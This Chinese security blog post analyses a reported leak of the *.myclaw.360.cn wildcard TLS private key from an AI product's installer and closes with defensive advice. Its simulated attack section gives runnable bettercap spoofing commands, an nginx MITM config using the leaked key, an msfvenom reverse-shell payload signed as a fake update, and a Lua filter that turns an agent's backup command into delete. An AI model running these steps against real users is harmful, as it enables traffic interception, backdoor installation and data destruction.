从泛域名私钥泄露到全线沦陷的攻击链与防御重构

近期，360 公司旗下的 AI 产品 “360 安全龙虾”（基于 OpenClaw 框架）在发布过程中发生了严重的 泛域名 SSL 私钥泄露 事件。作为一家以安全起身的头部企业，将生产环境的泛域名私钥明文打包进公开安装包，在技术圈引起了巨大震动。
安装包中意外泄露了*.myclaw.360.cn的泛域名SSL私钥。这一事件并非孤例，却以最直观的方式揭示了 “私钥即是身份” 的残酷真相。

📌 事件摘要

2026年3月14日，360公司发布AI产品“360安全龙虾”（基于OpenClaw的一键部署工具）。两天后，安全社区研究人员在解压安装包时发现，以下路径中明文存储了泛域名SSL证书及对应RSA私钥：

Windows直装版：C:\Users\用户名\AppData\Roaming\namiclaw\Application\components\Openclaw\openclaw\credentials\
WSL版：/path/to/namiclaw/components/Openclaw/openclaw.7z/credentials/

泄露文件：

• myclaw.360.cn.crt（证书）
• myclaw.360.cn.key（私钥）

证书信息：*.myclaw.360.cn 泛域名证书，由WoTrus（沃通）CA签发，有效期2026年3月12日至2027年4月12日。经OpenSSL验证，私钥与证书的Modulus指纹完全匹配，确认该.key文件确为有效私钥。

📑 目录

1. HTTPS信任链基石：私钥扮演的角色
2. 事件技术细节：什么泄露了？
3. 攻击面全景：*.myclaw.360.cn 沦陷意味着什么
4. 攻击模拟：从私钥到手握用户设备的24小时
   • 4.1 环境搭建与工具链
   • 4.2 中间人劫持：透明TLS解密
   • 4.3 软件更新投毒：签名伪造
   • 4.4 AI指令篡改：实时响应篡改
5. 技术深潜：私钥被利用的N种姿势
   • 5.1 HSTS bypass 与永久中间人
   • 5.2 合法钓鱼网站搭建（login.myclaw.360.cn）
   • 5.3 API Key截获风险
   • 5.4 供应链劫持
6. 误用溯源：为什么泛域名证书会进安装包？
7. 纵深防御体系重构：让私钥不再成为单点失效
   • 7.1 密钥全生命周期管理
   • 7.2 CI/CD 自动化扫描
   • 7.3 短期证书与自动化轮换
   • 7.4 本地通信的正确姿势
   • 7.5 证书吊销的“软失败”陷阱
8. 总结：信任必须建立在不可窃取的基础之上

1. HTTPS信任链基石：私钥扮演的角色

HTTPS 的“S”依赖 PKI（公钥基础设施）。其核心逻辑是：

• 公钥：加密数据，任何人都可获取。
• 私钥：解密数据，并证明“我是谁”。服务器使用私钥签名，浏览器使用公钥验签。

CA（证书颁发机构）的职责是证明“该公钥确实属于 example.com”。一旦私钥泄露，攻击者就可以：

• 解密所有本该安全的流量；
• 伪造该域名的任何服务，且浏览器显示为“安全锁”。

泛域名证书（*.example.com）的泄露更是核弹级：攻击者可控制 update.example.com、auth.example.com、api.example.com 等所有子域。本次事件中，*.myclaw.360.cn 覆盖了360安全龙虾相关的全部子域名。

信任链结构图

私钥是证明服务器身份的唯一凭证，一旦泄露，信任链从服务器证书处崩塌。

2. 事件技术细节：什么泄露了？

泄露文件验证

安全社区通过OpenSSL进行了独立验证：

# 提取私钥模数
openssl rsa -in myclaw.360.cn.key -modulus -noout | openssl md5

# 提取证书模数
openssl x509 -in myclaw.360.cn.crt -modulus -noout | openssl md5

# 两者指纹一致，证明私钥有效

证书信息

字段	内容
域名	*.myclaw.360.cn
类型	Wildcard DV（泛域名）
签发CA	WoTrus（沃通）
有效期	2026-03-12 至 2027-04-12
状态	2026-03-16 08:07 UTC 吊销

泄露路径溯源

360安全龙虾采用定制版浏览器，调用地址为 https://myclaw.360.cn:19798/，涉及对本地服务的HTTPS加密连接。为实现本地HTTPS访问，工程师将证书和私钥直接打包进安装包。

3. 攻击面全景：`*.myclaw.360.cn` 沦陷意味着什么

持有该私钥的攻击者获得以下“超能力”：

攻击面	描述	危害等级
中间人攻击（MITM）	在内网或公共WiFi，通过ARP/DNS欺骗劫持流量，利用私钥解密TLS，实时窃取或篡改数据。	⚠️ 严重
软件更新投毒	利用私钥对恶意更新包签名，所有客户端自动信任并安装后门。	⚠️ 严重
API响应篡改	对AI Agent、云服务接口的响应进行实时修改，诱导客户端执行恶意指令。	⚠️ 高危
API Key截获	用户在使用360安全龙虾时配置的大模型API Key，在通信被劫持时可被明文截获。	⚠️ 高危
钓鱼网站	搭建完全合法的 login.myclaw.360.cn，浏览器显示安全锁，用户无法辨别。	⚠️ 高危
供应链劫持	伪造配置下发服务器，向客户端推送恶意指令。	⚠️ 高危
内网横向移动	用私钥签名恶意工具，绕过EDR签名校验。	⚠️ 中危

4. 攻击模拟：从私钥到手握用户设备的24小时

⚠️ 免责声明：以下内容仅用于技术研究与防御建设，请勿用于非法用途。

4.1 环境搭建与工具链

• 攻击机：Kali Linux 2025.1 (IP: 192.168.1.100)
• 目标机：Windows 11 (IP: 192.168.1.50) 已安装360安全龙虾客户端
• 泄露材料：myclaw.360.cn.key（私钥）和 myclaw.360.cn.crt（证书）
• 工具：bettercap（中间人）、nginx（反向代理篡改）、openssl（证书验证）、Wireshark（抓包分析）

4.2 中间人劫持：透明TLS解密

攻击链路图

步骤1：DNS/ARP欺骗
使用 bettercap 将目标域指向攻击机：

# 启动ARP欺骗
sudo bettercap -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# 启动DNS欺骗，将api.myclaw.360.cn解析到攻击机IP
set dns.spoof.domains api.myclaw.360.cn
set dns.spoof.address 192.168.1.100
dns.spoof on

步骤2：配置nginx使用泄露私钥解密流量

server {
    listen 443 ssl http2;
    server_name api.myclaw.360.cn;

    ssl_certificate     /opt/leaked/myclaw.360.cn.crt;
    ssl_certificate_key /opt/leaked/myclaw.360.cn.key;

    location / {
        proxy_pass https://真实服务器IP;  # 将请求转发到真实服务器
        proxy_set_header Host api.myclaw.360.cn;
        # 记录所有解密后的数据
        access_log /var/log/mitm/decrypted.log;
    }
}

此时，目标机所有发往 api.myclaw.360.cn 的HTTPS流量都会被攻击机解密并明文记录，目标机浏览器仍显示安全锁。

4.3 软件更新投毒：签名伪造

360安全龙虾客户端可能存在自动更新机制，验证下载包的签名。攻击者可用泄露私钥生成恶意包的签名：

# 制作恶意payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o update.exe
# 使用泄露私钥签名
openssl dgst -sha256 -sign myclaw.360.cn.key -out update.exe.sig update.exe
# 将签名文件和恶意包放置在nginx目录下
cp update.exe /var/www/malware/
cp update.exe.sig /var/www/malware/

修改nginx返回的更新描述文件（如update.json），指向恶意包。客户端验证签名成功，毫无防备地安装后门。

4.4 AI指令篡改：实时响应篡改

假设客户端调用 api.myclaw.360.cn/v1/agent/execute 执行用户指令“备份桌面”。攻击者篡改响应：

location /v1/agent/execute {
    proxy_pass https://真实后端;
    # 使用lua实时修改响应体
    body_filter_by_lua_block {
        local data = ngx.arg[1]
        -- 将 "backup" 替换为 "delete"
        local modified = data:gsub('"action":"backup"', '"action":"delete"')
        ngx.arg[1] = modified
    }
}

客户端收到篡改后的指令后，执行删除操作，用户却以为备份成功。

5. 技术深潜：私钥被利用的N种姿势

5.1 HSTS bypass 与永久中间人

如果目标站点启用了HSTS，浏览器会强制HTTPS且禁止跳过证书错误。但攻击者持有真实证书，HSTS无法防御——因为证书是合法的。攻击者只需保持域名指向自己，即可永久劫持。

HSTS bypass原理图

5.2 合法钓鱼网站搭建

攻击者可搭建任意子域钓鱼网站，例如 login.myclaw.360.cn。浏览器显示安全锁+“360”相关标识，用户几乎无法辨别。即使细看证书，也显示“颁发给 *.myclaw.360.cn”，完全可信。

5.3 API Key截获风险

360安全龙虾作为OpenClaw部署工具，用户在使用过程中通常会配置各类大模型的API Key。如果客户端与 *.myclaw.360.cn 之间的通信被中间人劫持，这些API Key存在被明文截获的风险。

5.4 供应链劫持

如果客户端的自动更新、配置下发等机制依赖于该域名的HTTPS验证，攻击者理论上可以伪造服务器，向客户端推送未经授权的指令或代码。

6. 误用溯源：为什么泛域名证书会进安装包？

360安全龙虾界面采用定制版浏览器，调用地址涉及对本地服务的HTTPS加密连接：https://myclaw.360.cn:19798/。

问题所在：这是典型的“本地回环”场景（localhost/127.0.0.1）。处理此类本地连接的正确方式有两种：

1. 使用自签名证书：仅在本地环境有效，私钥即使泄露也影响有限
2. 采用HTTP明文访问：本地回环地址的通信本身相对安全，可简化处理

而360的做法是：直接将包含私钥的网站通配符证书置于本地环境中。这样做虽然能实现连接目的，但直接导致了密钥的泄露——因为安装包是公开分发的，任何人都可以解包提取私钥。

360官方将原因归为“发布环节的操作失误”。

7. 纵深防御体系重构：让私钥不再成为单点失效

7.1 密钥全生命周期管理

• 生成：必须在HSM（硬件安全模块）或KMS（如AWS KMS、HashiCorp Vault）中生成，私钥永不出硬件。
• 存储：禁止明文私钥落地磁盘，所有使用通过KMS API签名。
• 销毁：私钥过期或怀疑泄露后，立即从KMS删除并吊销证书。

工具链示例：

# 使用AWS KMS创建密钥对（私钥永不返回）
aws kms create-key --key-usage ENCRYPT_DECRYPT --customer-master-key-spec RSA_2048
# 签名操作通过KMS API完成
aws kms sign --key-id <key-id> --message fileb://data.bin --signing-algorithm RSASSA_PKCS1_V1_5_SHA_256

7.2 CI/CD 自动化扫描

在代码提交、构建阶段强制扫描密钥：

# GitHub Action 示例
- name: 检测密钥泄露
  uses: gitleaks/gitleaks-action@v2
  with:
    args: detect --source . --verbose --redact

同时使用 truffleHog 扫描高熵字符串：

docker run --rm -v "$PWD:/code" trufflesecurity/trufflehog:latest filesystem /code

7.3 短期证书与自动化轮换

• 证书有效期缩短至 7天 或 90天（如Let’s Encrypt）。
• 使用 ACME协议 自动化颁发和部署，私钥定期更换。
• 泛域名证书仅在万不得已时使用，且仅限于公网服务，内部通信使用独立证书或mTLS。

7.4 本地通信的正确姿势

绝对禁止将生产环境的泛域名证书打包进客户端。对于本地服务通信：

• 方案A：使用自签名证书，并在客户端内置证书指纹进行验证
• 方案B：使用HTTP over localhost，结合IPC安全机制
• 方案C：采用mTLS，客户端和服务端各自生成临时证书

7.5 证书吊销的“软失败”陷阱

本次事件中，证书于3月16日被吊销。但有技术验证发现：OCSP服务三个后端IP返回了三个不一致的结果——有的说已吊销，有的说没有。更严重的是，主流浏览器对OCSP通常采用软失败（Soft-Fail）策略：如果无法访问OCSP服务器，浏览器会默认放行而非拒绝连接。

这意味着：能做中间人攻击的人，顺手拦截掉OCSP流量也不是难事——仅靠OCSP吊销并不能完全消除已泄露私钥的威胁。

防御建议：

• 客户端应实现OCSP Must-Staple，强制要求服务器在TLS握手时提供签名的OCSP响应
• 关键应用可内置证书固定（Certificate Pinning），但需设计好更新机制

8. 总结：信任必须建立在不可窃取的基础之上

私钥泄露从来不是“某个文件意外流出”那么简单，它是整个信任体系的崩塌。当攻击者能够合法地冒充你时，一切加密、签名、验证都形同虚设。

本次*.myclaw.360.cn私钥泄露事件的技术教训是深刻的：

1. 生产私钥永不落地客户端——任何需要分发给用户的安装包、APP、前端代码中，都不应包含私钥
2. 泛域名证书是核武器，必须严控使用范围
3. 本地通信场景绝不能用生产证书
4. 吊销不是银弹，OCSP软失败机制让攻击窗口依然存在

通过密钥管理自动化、短期证书、本地通信方案优化、多维监控和纵深防御，我们可以将“私钥泄露”从灾难降级为“可控事件”。安全没有银弹，但多层防御能让攻击者寸步难行。

本文旨在以技术角度剖析事件，帮助安全从业者构建更强健的防御体系。

📚 参考文献与工具

• 360官方回应（综合多家媒体报道）
• Gitleaks - 开源密钥扫描工具
• truffleHog - 高熵字符串扫描
• Bettercap - 中间人攻击框架

---